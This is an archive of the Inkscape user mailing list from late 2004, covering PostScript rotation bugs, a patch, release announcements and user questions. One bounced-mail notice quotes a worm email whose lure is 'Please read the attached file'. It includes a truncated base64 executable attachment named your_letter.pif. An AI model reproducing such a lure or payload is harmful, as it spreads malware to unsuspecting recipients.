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postscript output is rotated 90 degrees?
by Ben Crowell 12 Dec '04

12 Dec '04

First, I'd like to apologize to Bulia Byak for getting huffy about his earlier post on this topic -- it was dumb of me to interpret it in such a negative way. This issue has been the subject of three bug reports on the Sourceforge bug tracker: 1014460 1071596 1082762 Wolfiq's patch, which caused rotation of PS/EPS output when the width was greater than the height, has caused problems for dlehn, Jan, Erik Jonsson, and me. I think the fact that people keep reporting it as a bug -- on Sourceforge, and here on the mailing list -- indicates that there's a serious problem because of the patch. Although the patch produces the behavior that was expected by someone like wolfiq, who intentionally did File>New>...landscape, the behavior seemed incorrect and mysterious to the rest of us, who had been using Inkscape to produce small figures for inclusion in LaTeX documents. I've written a patch for the patch, which is intended to provide the behavior that Wolfiq wants, while fixing the problem for the rest of us. The patch is given at the end of this e-mail. I would like to emphasize that the original patch produces a real showstopper bug for those of us who needed to produce output that was wider that it was tall -- right now there is no way whatsoever to produce the correct (wide) PS/EPS output with inkscape. In the long term, the right solution would probably be to add a portrait/landscape bit to the SVG file. - The bit should be set to landscape if the user creates the file using File>New>...landscape. - There should be a way to control the bit using the GUI. - The rotation should also apply to bitmap printing, not just PS/EPS. - The Print and Save As dialogs should probably also allow the rotation to be turned on or off. However, my C++ and GTK skills probably are not up to the task of making these changes. In the meantime, I hope my stopgap patch can be applied by the committers. ================================== patch to extension/internal/ps.cpp: 354c354,370 < pageLandscape = ( d.y1 - d.y0 < d.x1 - d.x0 ); --- > // 2004 Dec 10, BFC: > // The point of the following code is (1) to do the thing that's expected by users > // who have done File>New>A4_landscape or ...letter_landscape (i.e., rotate > // the output), while (2) not messing up users who simply want their output wider > // than it is tall (e.g., small figures for inclusion in LaTeX). > // The original patch by WQ only had the w>h condition. > { > int w,h; // width and height of bounding box, in points > w = (int) (d.x1-d.x0); > h = (int) (d.y1-d.y0); > pageLandscape = ( > (w>0 && h>0) // empty documents fail this sanity check > && (w>h) // implies, but does not prove, the user wanted landscape > && (w>600) // approximate maximum printable width of an A4 > ) > ? true : false; > }

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Exporting/printing independent layers with Inkscape 0.4?
by Jukka 11 Dec '04

11 Dec '04

I have designed exhibition plans using Inkscape's new "layers" feature - editing is done in composed picture, but exports/prints are usually needed only from chosen independent layer(s). The design process goes well with Inkscape, but I have not found out how to print/export layers independently. Is it not possible, or did I miss something? Thanks, Jukka

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pixel sizes
by Michal Žeravík 10 Dec '04

10 Dec '04

Hi to all, I'm very happy with Inkscape's features, but missing one: How can I switch view to pixel 1:1? When I import image e.g. 200x100px, I can't see it 1:1. Would be very useful for web design development. thanx anyway :) Michal

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Grid and adjustment
by Batista, Facundo 10 Dec '04

10 Dec '04

Sorry if "adjustment" is not the word here, I'm translating from Spanish. If not, I refer to the magic that snaps the cursor to the grid when resizing an object, or creating a new one, for example. The issue is the following: in a previous version (.38), I used to switch the grid on and off with "#" (vry, very handy) and with the grid, also I was switching on and off the "adjustment". This way, I could work always with the grid & snap, but when wanted to draw freely I just switched with "#". Now, with "#" the only thing that goes on and off is the grid, but not the "adjustment" (it adjusts to nothing, because the grid is not drew, but it still adjusts). This is very annoying to me, because to be able to work freely and back, and need to go the config, change the settings, and then again to go back. Is this intended or a bug? There's some workaround to this behaviour? Thank you very much! Facundo Batista Desarrollo de Red fbatista@...321... (54 11) 5130-4643 Cel: 15 5097 5024

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SPAM?
by Claus Cyrny 10 Dec '04

10 Dec '04

Hi, > This is a multi-part message in MIME format. > --------------050403010405000504050005 > Content-Type: text/html; charset=us-ascii > Content-Transfer-Encoding: 7bit > [ ... ] I've noticed those attachments several times now. Is this SPAM? Why do you include it in the digest? Claus -- http://home.arcor.de/ccyrny/

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Page splits
by George Farris 10 Dec '04

10 Dec '04

I'm not really a heavy user but I love Inkscape. I have a friend I mentioned Inkscape to and while we were having a look at it he asked if there was a way to split an svg document in pages. Apparently this is something that is of some irritation with some of the other drawing packages. Thanks -- George Farris farrisg@...30... Network and Technical Services Malaspina University-College

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Inkscape 0.40 - error importing AI files
by unknown＠example.com 09 Dec '04

09 Dec '04

When I am importing .AI files this error message appears: ** (inkscape:9542): CRITICAL **: file document.cpp: line 511 (void sp_document_set_uri(SPDocument*, const gchar*)): assertion `document != NULL' failed Pleas help, how can I solve it? I have thousand .AI files which I could open in 0.39. Is downgrade only one solution? (OS: Gentoo unstable, same expirience with self compiled inkscape 0.40cvs and 0.40 stable in Slackware current) Thanks Martin Grohman

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re[3]:
by Shaun Irvin 09 Dec '04

09 Dec '04

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postscript output is rotated 90 degrees?
by Ben Crowell 07 Dec '04

07 Dec '04

bulia byak wrote: >read the discussion there and leave your comments I hope I'm not violating the netiquette for this list by duplicating here what I wrote on sourceforge -- here it is for anyone who is just following the discussion via the mailing list: I'm having a hard time understanding what's been going on in this discussion, so what I say here may be based on a partial or complete misunderstanding. Like dlehn, I am using Inkscape to make images for inclusion in LaTeX, and my images are often wider than they are tall, e.g., 5 cm wide and 3 cm tall. It seems strange to me that Inkscape would, without warning, rotate my image by 90 degrees simply because it's wider than it is tall, but that's what Inkscape 0.40 is doing. This behavior is unexpected and hard to understand -- I had no idea that it was happening because of the proportions of my bounding box. I'm also wondering what, at this point, is considered to be the correct, documented behavior of Inkscape. Is the rotation meant to be a temporary thing until landscape mode is better supported in Inkscape, or is it meant to be something that would be a permanent behavior of Inkscape? I also don't understand what workaround I can use if I don't want the rotation. It seems as though there is no possible way to generate postscript output that is *not* rotated. On the other hand, for someone who *wants* his postscript to print sideways, because there is no other way to fit it on the page, there is a clear workaround: use Inkscape to rotate the picture.

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postscript output is rotated 90 degrees?
by Ben Crowell 07 Dec '04

07 Dec '04

bulia byak wrote: >Yes. Please visit >http://sourceforge.net/tracker/index.php?func=detail&aid=1014460&group_id=9… >read the discussion there and leave your comments. You are welcome to >submit your patch, too. 1. I don't understand the discussion at that URL. Is there any documentation anywhere as to what it considered the correct, expected behavior of inkscape at this point? I came across this bug report earlier, but it didn't seem relevant to me; it seemed to have something to do with explicitly choosing landscape mode in a menu, which I did not do. 2. Perhaps I'm being overly sensitive, but to me, your suggestion that I submit my patch comes off as brusque and dismissive. This is inkscape-user, not inkscape-devel.

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postscript output is rotated 90 degrees?
by Ben Crowell 07 Dec '04

07 Dec '04

After upgrading to 0.40, I have some good news and some bad news about PostScript output. The good news is that the files that I couldn't output with 0.38 can now be output to create valid PS or EPS files. The bad news is that they're rotated 90 degrees counterclockwise! Does anyone understand what's going on here? Here is the SVG file in question: http://www.lightandmatter.com/boat-1.svg When I output it as EPS, and then run it through the standard epstopdf script (I think it comes with tetex, and I think it's just a wrapper around Ghostscript), it's rotated (as viewed in xpdf). I can of course submit this as a bug report on Sourceforge, but I'm wondering if there's something else I'm not understanding here.

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Publishing and Inkscape Portability
by Alex 06 Dec '04

06 Dec '04

Congrats on the progress with Inkscape, many of us Illustrator/Cdraw users are experimenting and following the progress of the project. I have a few comments if anyone is interested (By no means am I a professional GA/GD): 1) I noticed some important features that I use are not fully implemented: object locking and hiding (try unlocking or unhiding an object) and moving objects to different layers (layers is very new already for inkscape). 2) I would like to see as part of a FAQ on using Inkscape amongst Illustrator users. Howto import/export documents between the two and the problems we might have (things to avoid). What format is best (seems EPS and SVG work partially in different ways). 0.40 has ability to save as .ai but gives me an error message on saving so I don't know how good it works. Illustrator has heaps of options to save/export files - anyone worked out which work best? I will share anything i discover on the way. 3) The FAQ could also give suggestion on preperation of documents for printing (professional printers that is) ie. text convert to outlines, colour/file formats usually preferred etc etc. It seems printing and exporting as bitmap avoids loss of my effects (transperancies etc). Printing postscript doesn't work too well in that respect. Alex

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NEW: Tile clones
by bulia byak 06 Dec '04

06 Dec '04

Before getting deep into the boring stuff planned for 0.41, I decided to do some eye candy... http://inkscape.org/screenshots/gallery/inkscape-0.41-CVS-linux-tiles1.png http://inkscape.org/screenshots/gallery/inkscape-0.41-CVS-linux-tiles2.png * The new powerful "Tile clones" dialog implements all 17 plane symmetry groups, allowing you to easily create all sorts of symmetric patterns, Escher-like tesselations, ornaments, etc. Since the pattern is made out of clones, you can freely edit the original tile and the entire pattern is updated live. This feature puts Inkscape into competition with software such as the free Arabeske or commercial SymmetryWorks. ** Apart from selecting the symmetry (and uniquely to Inkscape), you can also set the shift, scale, rotation, and opacity of the clones in the pattern, per row and/or per column. Any of these parameters can also be randomized to any degree. This produces "object fields" that can be arbitrarily distorted, skewed, slanted, "faded out," or "magnetized" like iron particles in a magnetic field. ** To create a clone pattern, simply select something, set the number of rows and columns, and click Create. You can then change some parameters in the dialog and click Create again; this will remove any existing tiled clones of the selected object and recreate the pattern anew. Or, you can just remove the old pattern by clicking Remove. To protect a pattern from deletion by this dialog, group it or move it to another layer. ** Initially, a pattern is created based on the bounding box of the selected object. For symmetries that involve rotation to an angle other than 180 degrees, the rotation point is usually in the middle of the right-hand side of the bbox. After the pattern is created, resizing the original tile does not move the clones away, so you can make the tiles overlap. Also, when the pattern is created, the current bbox of the original tile is remembered; later, if the "Use saved tile bbox" checkbox is on, the same bbox will be used when you click Create again, which means you can vary the pattern parameters without losing the overlapping of the tiles. ** It's best to use a group as the original object for tiling, because you can then enter this group (right-click, "Enter group") and draw inside it. Any changes or new objects added to the group will show in the pattern immediately.

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re [11]:
by Elnora Chapman 06 Dec '04

06 Dec '04

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wireframe preview?
by volvoguy 06 Dec '04

06 Dec '04

If there's a way to view a wireframe version of a complex graphic, I haven't found it yet in Inkscape. This seems to me a very common feature in vector graphics editors. If it's not possible now, is the bugzilla the best place to make feature requests? :o) Thanks! -- Aaron Ubuntu SVG Artwork - www.volvoguy.net/ubuntu ------------------------------------------------------------------------------- Art, like morality, consists of drawing the line somewhere. ~ G.K. Chesterton

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Extensis AutoReply
by Extensis Support 06 Dec '04

06 Dec '04

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Re: your blog for the gimp gradient editor
by Ted Gould 06 Dec '04

06 Dec '04

On Sat, 2004-12-04 at 19:15 -0500, seval wrote: > the gradient editor for gimp gradients. fails to show actually > how gradients are imported. just import does not seem to work. just > wanted to let you know, and, if I could please know. this seems like > an amazing feature that I would like to make use of very soon. thanks. Well, one of the issues is that the importer doesn't 'show' you anything. Actually the gradient gets imported, but there isn't an object with that gradient on it. If you go to the fill & stroke dialog, you can add it to a shape by clicking on the gradient for the fill or stroke of any object on your canvas. Bulia and I have been talking about ways to make this more obvious -- hopefully it will be more user friendly in the next Inkscape release. --Ted

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RPM build errors
by Jonathan Leighton [Turnip] 04 Dec '04

04 Dec '04

Hi, I've tried to build an RPM of Inkscape 0.40 on FC3, but I keep getting an error: RPM build errors: Installed (but unpackaged) file(s) found: /usr/lib/inkscape/plugins/libgimpgrad.a /usr/lib/inkscape/plugins/libgimpgrad.la /usr/lib/inkscape/plugins/libgimpgrad.so.0.0.0 Anyone know what that means? Also, if and when I build it, who should I send it to so that they can upload it on SourceForge? Cheers -- Regards, Jonathan Leighton [Turnip] Get Thunderbird - Reclaim Your Inbox http://www.mozilla.org/products/thunderbird

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Firefox 1.0 Linux on Gentoo has SVG plugin installed by default!!!!!!!!
by Jon Phillips 03 Dec '04

03 Dec '04

Hello all, I just opened an svg file by accident in Firefox 1.0 just to find that it displayed properly in my browser!!! Upon closer inspection I thought that I had setup svg to display in inkview, but no, I looked in the MozillaFirefox plugin folder and found these: -rw-r--r-- 1 root root 5632 Nov 18 04:20 libmozsvgdec.a -rwxr-xr-x 1 root root 1368 Nov 18 04:20 libmozsvgdec.la -rwxr-xr-x 1 root root 8536 Nov 18 04:20 libmozsvgdec.so Thus, could you all check to see if the Mozilla SVG is provided with your Firefox 1.0 install? I am ecstatic with joy if this is installed by default on all Firefox 1.0 browsers, because that means we now have penetration into the world with SVG. I have just ruled out that I built my Gentoo install of Firefox with SVG, as it is not an option. Thus, the gentoo ebuild builds the SVG plugin by default. Hmmm...if you all could report if you have the SVG plugin on your install, it would be great to know to promote via our website. In the end, we have to consider that our app's usefulness will scale dramatically if SVG is adopted by more user's. As of now we are using more as a meta-format not much unlike Illustrator using AI as a default format for creating illustrations. With viewing of SVG files on the web, so much more will be possible. Jon -- Jon Phillips (NEW) USA PH 510.499.0894 jon@...87... http://www.rejon.org Inkscape (http://inkscape.org) Open Clip Art Library (www.openclipart.org) CVS Book (http://cvsbook.ucsd.edu) Scale Journal (http://scale.ucsd.edu)

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by Extensis Support 03 Dec '04

03 Dec '04

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Article: Introducing Inkscape 0.40
by Bryce Harrington 02 Dec '04

02 Dec '04

The article about Inkscape is now live on OS News: http://osnews.com/story.php?news_id=9049 Also, we got picked up on LWN: http://lwn.net/Articles/113513/ And Footnotes: http://gnomedesktop.org/node/2062 Bryce

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Undoing insensitive
by Jozsef Mak 02 Dec '04

02 Dec '04

If you make an object in inkscape insensitive how do you make it back into sensitive again? I am unable to figure this out. jozsefmak

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Problem compiling inkscape
by Jozsef Mak 01 Dec '04

01 Dec '04

Hi I am trying to build inkscape 0.40 on Ubuntu from source and during the configuration run i get the message error: Cannot find freetype-config What is freetype-config and how to solve this problem j.mak

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RE: [Inkscape-user] Inkscape Release 0.40 Now Available
by Landon Blake 01 Dec '04

01 Dec '04

Bryce, I tried several of the 0.40 release packages, but I did not find a Windows Executable file. Is there a .exe available for the 0.40 release yet? Thanks for all the hard work. The Sunburned Surveyor -----Original Message----- From: inkscape-user-admin(a)lists.sourceforge.net [mailto:inkscape-user-admin@lists.sourceforge.net]On Behalf Of Bryce Harrington Sent: Sunday, November 28, 2004 10:35 PM To: inkscape-devel@...84... Cc: inkscape-user@...84... Subject: [Inkscape-user] Inkscape Release 0.40 Now Available The official 0.40 tarball is now posted, and is available for download here: http://sourceforge.net/project/showfiles.php?group_id=93438 The Release Notes describing the changes are available here: http://inkscape.org/cgi-bin/wiki.pl?ReleaseNotes At this time we are requesting all packagers to create and post packages for the release. Formal announcements for the release will be delayed until Monday evening in order to give a little time for packages to be created and tested. We are also encouraging everyone to assist with the PR push to get word out about this release. If you're interested in writing an article on a topic related to Inkscape, this would be an excellent time to do so. Bryce ------------------------------------------------------- SF email is sponsored by - The IT Product Guide Read honest & candid reviews on hundreds of IT Products from real users. Discover which products truly live up to the hype. Start reading now. http://productguide.itmanagersjournal.com/ _______________________________________________ Inkscape-user mailing list Inkscape-user(a)lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/inkscape-user

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Announcing Inkscape 0.40 Release
by Bryce Harrington 30 Nov '04

30 Nov '04

= Inkscape 0.40 = 'Draw Freely' http://www.inkscape.org/ The Inkscape community is proud to announce the release 0.40 of Inkscape, "A Cross-platform Open Source Vector Graphics (SVG) Drawing Tool." This release includes three majorly requested new capabilities: Layers, Text-on-Path, and Bitmap tracing. In addition, there are many minor features, a number of usability enhancements, three new tutorials, and hundreds of bug fixes. This is by far the most feature-packed release the project has had. This is all due to the strong developers that have contributed countless hours on Inkscape 0.40. Following our last release four months ago, we have focused intensively on development, adding several new dependencies such as the Boehm garbage collector and the stable Gtk 2.4 libraries. Because of this, user's may encounter more trouble getting Inkscape installed on some platforms than in previous releases. To help those who run into this issue, we're also providing 'Static Binary' packages that include these new libraries inside the package, and thus, the static releases are very large. Download your packages: http://sourceforge.net/project/showfiles.php?group_id=93438 For many more details, see the Release Notes for 0.40: http://www.inkscape.org/cgi-bin/wiki.pl?ReleaseNotes040 Community submitted screenshots: http://www.inkscape.org/screenshots/

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Re: [Inkscape-user] Feature request
by Claus Cyrny 30 Nov '04

30 Nov '04

> Date: Sun, 28 Nov 2004 18:29:31 -0800 (PST) > From: Bryce Harrington <bryce@...69...> > To: inkscape-user(a)lists.sourceforge.net > Subject: Re: [Inkscape-user] Feature request > Reply-To: inkscape-user(a)lists.sourceforge.net > > On Sun, 28 Nov 2004, Aaron Spike wrote: > > Claus Cyrny wrote: > > > 1. The possibility to repeat patterns (x times) > > > along a circle (path). > > I was just thinking that this would be cool 2 days ago. I was drawing a > > sun shaped logo and wanted to repeat the rays as clones around a circle > > every 15 degrees. > > > > > 2. The possibility to store color values somewhere. > > A palette of colors would be wonderful. It would also be great to store > > gradients as in the GIMP. > > > > I agree. > > > > Aaron Spike > > These are both good ideas - please add them to the Feature Request > tracker on the website, if they've not already been added. If they have > been added, please elaborate on them with some of your thoughts as to > how they should work, etc. > > Thanks, > Bryce Done! ;-) Claus -- http://home.arcor.de/ccyrny/

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Inkscape Release 0.40 Now Available
by Bryce Harrington 30 Nov '04

30 Nov '04

The official 0.40 tarball is now posted, and is available for download here: http://sourceforge.net/project/showfiles.php?group_id=93438 The Release Notes describing the changes are available here: http://inkscape.org/cgi-bin/wiki.pl?ReleaseNotes At this time we are requesting all packagers to create and post packages for the release. Formal announcements for the release will be delayed until Monday evening in order to give a little time for packages to be created and tested. We are also encouraging everyone to assist with the PR push to get word out about this release. If you're interested in writing an article on a topic related to Inkscape, this would be an excellent time to do so. Bryce

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29 Nov '04

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Feature request
by Claus Cyrny 29 Nov '04

29 Nov '04

Hi, while working with Inkscape (0.39) over the last weeks, I realized that I am still missing a few features: 1. The possibility to repeat patterns (x times) along a circle (path). 2. The possibility to store color values somewhere. Otherwise, Inkscape is really marvellous (the most intuitive vector program I have used so far). Keep up the good work! Claus -- http://home.arcor.de/ccyrny/

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Final release candidate for Inkscape 0.40
by Bryce Harrington 28 Nov '04

28 Nov '04

Hi All, Tonight we are entering the 'Hard Freeze', the very last phase before the final tagging and branching of 0.40, which is planned for tomorrow evening. Ted has created the final release candidate, 0.40pre5, which is now available from the website. Testing is essentially complete, however we're encouraging people to give the release a quick review. We're looking for silly mistakes like forgetting to update the version number, packaging problems, and major show-stopper bugs. But also add anything else you find to the bug tracker, and we can sort those issues out during the next development cycle. During this Hard Freeze phase, we're going to let the dust settle a bit, do a once-over, and then proceed with packaging and delivering the release. As with all prior releases, once it's cut we need to switch into marketing mode, in order to get the word out. This is where Inkscape users can make a big contribution. We want to get word out on all the major blogs, articles into relevant online magazines, and word of mouth to friends and family. Stay tuned. :-) Bryce >From MAILER-DAEMON Sun Nov 28 04:17:38 2004 Date: Sun, 28 Nov 2004 12:32:08 +0000 Message-Id: <10411281232.AA16385605@...340...> Mime-Version: 1.0 From: "Postmaster" <postmaster@...340...> To: <inkscape-user(a)lists.sourceforge.net> X-Mailer: <SMTP32 v8.14> X-Spam-Score: -3.7 (---) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.2 LARGE_HEX BODY: Contains a large block of hexadecimal code -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [Inkscape-user] Undeliverable Mail Sender: inkscape-user-admin(a)lists.sourceforge.net Errors-To: inkscape-user-admin(a)lists.sourceforge.net X-BeenThere: inkscape-user(a)lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk Reply-To: inkscape-user(a)lists.sourceforge.net List-Unsubscribe: <https://lists.sourceforge.net/lists/listinfo/inkscape-user>, <mailto:inkscape-user-request@lists.sourceforge.net?subject=unsubscribe> List-Id: Inkscape User Community <inkscape-user.lists.sourceforge.net> List-Post: <mailto:inkscape-user@lists.sourceforge.net> List-Help: <mailto:inkscape-user-request@lists.sourceforge.net?subject=help> List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/inkscape-user>, <mailto:inkscape-user-request@lists.sourceforge.net?subject=subscribe> List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum=inkscape-user> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit undeliverable to admin@...339... Original message follows. Received: from cmr.ca [82.151.69.97] by ntm3.kookiejar.net with ESMTP (SMTPD32-8.14) id A54022C500FA; Sun, 28 Nov 2004 12:32:00 +0000 From: inkscape-user(a)lists.sourceforge.net To: gelinas@...339... Subject: Re: Your letter Date: Sun, 28 Nov 2004 13:16:56 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0013_00004598.000042B0" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: <200411281232912.SM00195@...339...> This is a multi-part message in MIME format. ------=_NextPart_000_0013_00004598.000042B0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Please read the attached file. ------=_NextPart_000_0013_00004598.000042B0 Content-Type: application/octet-stream; name="your_letter.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="your_letter.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [message truncated]

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[Fwd: SourceForge.net Sitewide Update: Nov 23, 2004]
by Jon Phillips 26 Nov '04

26 Nov '04

We made Number 21 for the month on sourceforge!!! > 21. Inkscape > https://sourceforge.net/projects/inkscape > A Linux and Windows vector graphics editor (SVG format) featuring > transparency, gradients, node editing, pattern fills, PNG export, and > more. Aiming for capabilities similar to Illustrator, CorelDraw, Visio, > etc. Jon -- Jon Phillips (NEW) USA PH 510.499.0894 jon@...87... http://www.rejon.org Inkscape (http://inkscape.org) Open Clip Art Library (www.openclipart.org) CVS Book (http://cvsbook.ucsd.edu) Scale Journal (http://scale.ucsd.edu)

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Re: inkthing
by Jon Phillips 26 Nov '04

26 Nov '04

Hey Greg, Here is what looks like should install for OS X. It seems that the OS X installer does not exist, but ways to install it using two packaging systems on OS X do exist. Mac OS X using DarwinPorts: http://inkscape.darwinports.com/ Mac OS X using Fink (http://fink.sf.net/) There are current installer versions for windows here: http://prdownloads.sourceforge.net/inkscape/Inkscape-0.39-1.win32.exe?downl… and you can get other versions here: http://sourceforge.net/project/showfiles.php?group_id=93438 In terms of an easy to use DMG package for OS X, it appears that this does not exist currently. I am going on a hunt for this and am going to try and get one generated or do myself. This needs to exist for Mac OS X! Jon On Tue, 2004-11-23 at 09:20 -0800, Greg Niemeyer wrote: > Dear Jon, > > Please tell me wheer I can find more information about a compiled > version of Inkscape for OSX...Thanks, Greg > 050505: UC Berkeley Center for New Media Groundbreaking and Conference > (May 5, 2005) > -- Jon Phillips (NEW) USA PH 510.499.0894 jon@...87... http://www.rejon.org Inkscape (http://inkscape.org) Open Clip Art Library (www.openclipart.org) CVS Book (http://cvsbook.ucsd.edu) Scale Journal (http://scale.ucsd.edu)

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inkscape CVS repository
by Trent Buck 25 Nov '04

25 Nov '04

Is there something wrong with the Inkscape CVS respository at the moment? I can login / checkout / update other SF projects, but Inkscape does this: $ cvs -d:pserver:anonymous@...132...:/cvsroot/inkscape login Logging in to :pserver:anonymous@...132...:2401/cvsroot/inkscape CVS password: cvs [login aborted]: unrecognized auth response from cvs.sourceforge.net: M PserverBackend::PserverBackend() Connect (Connection refused) $ cvs -z9 -d:pserver:anonymous@...132...:/cvsroot/inkscape co inkscape cvs [checkout aborted]: unrecognized auth response from cvs.sourceforge.net: M PserverBackend::PserverBackend() Connect (Connection refused) $ mv inkscape.orig inkscape && cvs -z9 -d:pserver:anonymous@...132...:/cvsroot/inkscape co inkscape cvs [update aborted]: unrecognized auth response from cvs.sourceforge.net: M PserverBackend::PserverBackend() Connect (Connection refused) -trent

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File Dialog in windows
by Kieran Wyse 24 Nov '04

24 Nov '04

I have only recently come across Inkscape am very impressed by the software it is very natural and easy to use. I am using Inkscape 0.4 something I know this is still being developed but Inkscape 0.39 does not seem to work with the graphics tablet I am using. The only criticism I would have is with the file dialog that does not show the network directories in windows. In 0.39 the file dialog seems fine. I download the most up to date exe file but I still don’t know how to get to the networked files. I am not sure if this is a development request or a bug or I am simply not using the dialog correctly. P.s. I hope that I am posting to the correct news group. Kieran. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.771 / Virus Database: 518 - Release Date: 28/09/2004

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Help Needed: Web content contributor
by Bryce Harrington 24 Nov '04

24 Nov '04

Heya, Would anyone be interested and willing to commit to helping update the content on the Inkscape website? The website's been vital to Inkscape's success, yet we're a bit short staffed at the moment; those of us who have maintained the website have also been getting into doing coding more, so we've spent less attention on it than we did in the past. If you're looking for an important way you can contribute to the project other than coding, and you like putting stuff on websites, this'd be a great way to participate in the project. Basically, the job requires staying in tune with what developers are working on (via the inkscape-devel@ list), and posting news blurbs to the homepage to the Inkscape homepage to keep people up to date on happenings. In addition, the site could use fleshing out more, with new examples of Inkscape in use, more documentation, and so forth. The work requires that you're comfortable using basic HTML and know how to check stuff into and out of CVS. The dynamic parts of the site are done using PHP, so knowledge of PHP is a plus, but not really necessary. I'm also looking for someone who's been with the project for a while (even if you've just been asking questions or submitting bug reports so far). If you're interested, reply to me privately with your SourceForge user id, background, and level of interest. Bryce

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0.40pre4 posted
by Ted Gould 24 Nov '04

24 Nov '04

Hey everyone, I've put up 0.40pre4. This will be the last pre-release assuming no surprises. There are some new tutorials and updates to the layers GUI elements in this release. Along with several bug fixes. As always, if you make a package please e-mail the list so that we can get it up on the file tracker for everyone to use. http://sourceforge.net/project/showfiles.php?group_id=93438&package_id=9911… --Ted

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NEW: calligraphy and tracing tutorials
by bulia byak 24 Nov '04

24 Nov '04

Today two new tutorials were checked in: Calligraphy and Tracing (in Help > Tutorials). Calligraphy tutorial describes in detail the capabilities of the improved Calligraphy pen tool. A brief history of the art, parameters of the tool, useful tips, and many examples from simple strokes to complete lettering projects. Tracing tutorial explains all the options and parameters of the Potrace interface for bitmap tracing, with tips and examples.

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Announce: Change to Inkscape Wiki
by Bryce Harrington 24 Nov '04

24 Nov '04

Everyone, Due to rampant spammer abuse of the Inkscape wiki, we've been forced to make a change to its usage. >From now on, whenever you edit a page, you must also type in the word 'NOSPAM' into a new entry box at the bottom of the page. If you do not, an error message will display; you can click back and add the NOSPAM and resubmit. This change will fake out the spammers, because their spambots won't know to do this step, so will be blocked. Possibly the spammers will catch on to this defense; if so, we'll invent new countermeasures. Thanks go to Kees Cook for implementing this for us. :-) I apologize for the inconvenience of doing this; I know it's a hassle, but if it eliminates the hassle of having to revert pages and delete spam in order to use the wiki, I think it will be worth the trade. If not, and you have an idea for a better solution, please let me know. Bryce On Tue, 23 Nov 2004, Kees Cook wrote: > On Tue, Nov 23, 2004 at 04:13:39PM -0800, Bryce Harrington wrote: > > The idea is basically to include a second edit box next to the comment > > box, with the phrase, "Type NOSPAM here:" [________] > > > > Can someone with Perl skills volunteer for this task? > > Done!

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Re: Inkscape-user digest, Vol 1 #238 - 1 msg
by Lee McLain 24 Nov '04

24 Nov '04

Hi everyone, I have been trying to compile Inkscape .40rc3 for about a week now with no luck. I keep getting dependency errors. I am trying to compile on both SuSE 9.0 and Fedora Core 3 with the same error...I am not at the computers right now, so I can't remember the exact error. The main problem is that I easily compiled .39 on the SuSE system, but I don't know what I am missing with .40 and the subsequent releases. What packages are needed when going from .39 to the future versions? Thanks, Lee

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Re: [Inkscape-user] Cut segment from circle, extend bezier curves from cut points
by Claus Cyrny 21 Nov '04

21 Nov '04

Hi, > Can anyone suggest to the newbie a good way to make a stable, easily > manipulated construction of the above curve in inkscape-cvs? do you have a bitmap version of the logo online somewhere? >From your description alone it's hard for me to imagine what the logo actually should look like (English not being my first language). Claus

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Cut segment from circle, extend bezier curves from cut points
by Jeff Kowalczyk 21 Nov '04

21 Nov '04

